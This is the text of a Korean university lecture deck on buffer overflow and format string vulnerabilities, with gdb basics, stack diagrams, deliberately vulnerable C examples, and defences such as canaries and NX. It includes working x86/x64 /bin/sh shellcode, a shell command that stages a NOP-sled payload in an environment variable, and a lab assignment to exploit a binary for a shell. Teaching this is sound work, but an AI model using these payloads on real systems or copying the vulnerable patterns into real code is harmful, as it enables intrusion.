BoF(Buffer overFlow), FSB(Format String Bug) Jaewoo Shim Mar. 21. 2018
BoF(Buffer overFlow), FSB(Format String Bug)
Jaewoo Shim
Mar. 21. 2018
목차
개요
주요 소프트웨어 취약점
BoF(Buffer Overflow)
FSB(Format String Bug)
보호기법
과제
2
개요
3
개요
익스플로잇(Exploit)
컴퓨터의 소프트웨어나 하드웨어 및 컴퓨터 관련 전자 제품의 버그, 보안 취약점 등 설계상 결함을 이용해 공격자의 의도된 동작을 수행하도록 만들어진 절차나 일련의 명령, 스크립트, 프로그램 또는 특정한 데이터 조각을 말하며, 이러한 것들을 사용한 공격 행위를 이름 – WIKI
4
개요
버그 바운티(Bug Bounty)
KISA S/W 신규 취약점 신고 포상제
최소 5만원 ~ 1000만원의 포상금 지급
삼성전자 버그 바운티
최대 20만달러(약 2억 2600만원)
기타 회사의 버그 바운티
자사 제품을 대상으로 취약점 신고 시 포상금 지급
5
간단한 gdb 커맨드
코드 디스어셈블 : disas 함수명
Ex) disas main
Ex) disas test
특정 메모리 영역 확인 : x/숫자형식 포인터
Ex) x/80wx 0xffff1234
Ex) x/80wx $esp
중단점 설정 : b *코드주소
Ex) b *0x08041234
Ex) b *main
메모리 매핑 정보 확인 : info proc map
Ex) info proc map
프로그램 실행 : r
Ex) r
중단된 프로그램 계속 실행 : c
Ex) c
레지스터 값 확인 : info reg
Ex) info reg
Ex) i r
위에서 언급한 명령어 이외에도 gdb는 매우 다양한 커맨드를 포함
6
주요 소프트웨어 취약점
7
Memory
0x00000000 0x00
0x00000001 0xca
… ~
0x08048000 ~
... ~
… ~
… ~
… ~
… ~
… ~
… ~
0xffffffff
4G byte
주요 소프트웨어 취약점
BoF(Buffer Overflow)
정해진 메모리 공간을 초과한 입력을 허용하여 발생하는 취약점
이를 이용하여 임의 파일을 읽거나, 쉘(/bin/sh)을 띄우는 것을 목표로 함
8
void test() { char buf[32]; scanf(“%s”,buf); } int main() { int i=0x41414141; test(); return 0; }
[Stack]
Return Address of main()
Saved EBP of main()
int i
Return Address of test()
H
Saved EBP Of test()
buf[32] L
[Stack]
Return Address of main()
EBP of main()
int i
BBBB
H
BBBB
BBBBBBBBBBBBBBBBBBB… L
????
주요 소프트웨어 취약점
9
주요 소프트웨어 취약점
10
test() 함수의 스택프레임 31바이트의 임의 값을 넣었을 경우
buf[32]
Dummy data Saved EBP Return Address
주요 소프트웨어 취약점
11
test() 함수의 스택프레임 48바이트의 임의 값을 넣었을 경우
buf[32]
Dummy data Saved EBP Return Address
잘못된 주소지를 참조하는 것을 확인(Segmentation Fault)
주요 소프트웨어 취약점
쉘코드
Shell(/bin/sh, cmd.exe 등)을 실행시킬 수 있는 코드
공격자의 의도대로 임의의 작업을 수행하는 코드를 쉘코드라고 지칭하기도 함
execve(&“/bin/sh”,&[“/bin/sh”,NULL],NULL)의 형태로 시스템콜을 호출
프로그램 취약점에 의해 공격자가 쉘을 획득하면 임의 명령어를 실행 가능
Shellcode – x86
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80“
Shellcode – x64
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
쉘코드는 다양한 형태로 제작 가능
12
주요 소프트웨어 취약점
Shellcode – x86
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80“
13
sys_execve eax : 시스템콜 넘버 ebx : “/bin/sh” 주소 ecx : “/bin/sh” 주소의 주소 edx : NULL int 0x80
주요 소프트웨어 취약점
X86 shellcode
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80“
14
xor %eax,%eax push %eax push $0x68732f2f push $0x6e69622f mov %esp,%ebx push %eax push %ebx mov %esp,%ecx mov $0xb,%al int $0x80
Eax 레지스터를 0으로 초기화
스택의 상단에 /bin//sh이라는 문자열 구성
구성한 /bin//sh 문자열의 주소를 가져옴
argv[] 구성
시스템콜 넘버를 al 레지스터에 저장
시스템콜 호출
주요 소프트웨어 취약점
X86 shellcode
“\x31\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80“
15
xor %edx,%edx xor %eax,%eax push %eax push $0x68732f2f push $0x6e69622f mov %esp,%ebx push %eax push %ebx mov %esp,%ecx mov $0xb,%al int $0x80
Eax 레지스터를 0으로 초기화
스택의 상단에 /bin//sh이라는 문자열 구성
구성한 /bin//sh 문자열의 주소를 가져옴
argv[] 구성
시스템콜 넘버를 al 레지스터에 저장
시스템콜 호출
Edx 레지스터를 0으로 초기화
주요 소프트웨어 취약점
환경변수에 쉘코드 업로드
16
$ export TEST=`python –c ‘print “\x90”*200+”\x31\xd2\x31\xc0\x50\x68\x2f\x2f\x73 \x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80”’`
주요 소프트웨어 취약점
FSB(Format String Bug)
데이터를 형식에 맞게 출력하기 위해 사용하는 포맷 스트링을 이용한 공격
대표적인 포맷스트링
%s, %x, %p, %c, %d, 등…
Syntax
%[parameter][flags][width][.precision][length] type
17
주요 소프트웨어 취약점
예제코드
18
int main() { char buf[256]; read(0,buf,256); printf(buf); }
공격자가 임의로 Format String을 사용하므로써 메모리 값을 누수시키는 것이 가능 메모리에 입력 또한 가능 : %n, %hn, %hhn
보호기법
1. 시큐어 코딩
19
void test() { char buf[32]; scanf(“%s”,buf); } int main() { int i=0x41414141; test(); return 0; }
fgets(), read() 등 입력 크기를 조정할 수 있는 함수 사용
보호기법
2. 카나리(Canary)
• 오버플로우를 탐지할 수 있는 카나리를 컴파일 시 설정
• 최근 gcc에서는 아무 옵션을 주지 않아도 기본적으로 canary를 설정
20
[Stack]
Return Address of main()
Saved EBP of main()
int i
Return Address of test()
H
Saved EBP Of test()
buf[32] L
[Stack]
Return Address of main()
Saved EBP of main()
int i
Return Address of test()
H
Saved EBP Of test()
buf[32] L
Random Canary
Random Canary
보호기법
3. NX bit 설정
• 쉘코드의 실행을 막기 위하여 스택 영역의 실행권한을 차단
• 최근 gcc에서는 아무 옵션을 주지 않아도 기본적으로 NX를 설정
21
NX 설정 미적용 시 NX 설정 적용 시
실습
1. Ip주소 : 220.149.250.147
putty가 없다면?
https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
22
과제
1. 서버에 접근 시 다음과 같은 파일을 찾을 수 있습니다.
1. bof, bof.c
2. fsb, fsb.c
2. bof.c 파일을 분석하여 버퍼 오버플로우 취약점이 존재하는 곳을 찾아 코드를 수정하세요.
3. fsb.c 파일을 분석하여 포맷 스트링 버그 취약점이 존재하는 곳을 찾아 코드를 수정하세요.
4. [가산점] bof.c 컴파일 시 생성되는 실행파일을 대상으로 공격을 수행하여 쉘을 획득하세요.
5. 위 1~4번 과정을 수행하여 레포트를 제출하세요.
과제기한 : 4월 9일(월)까지
23
24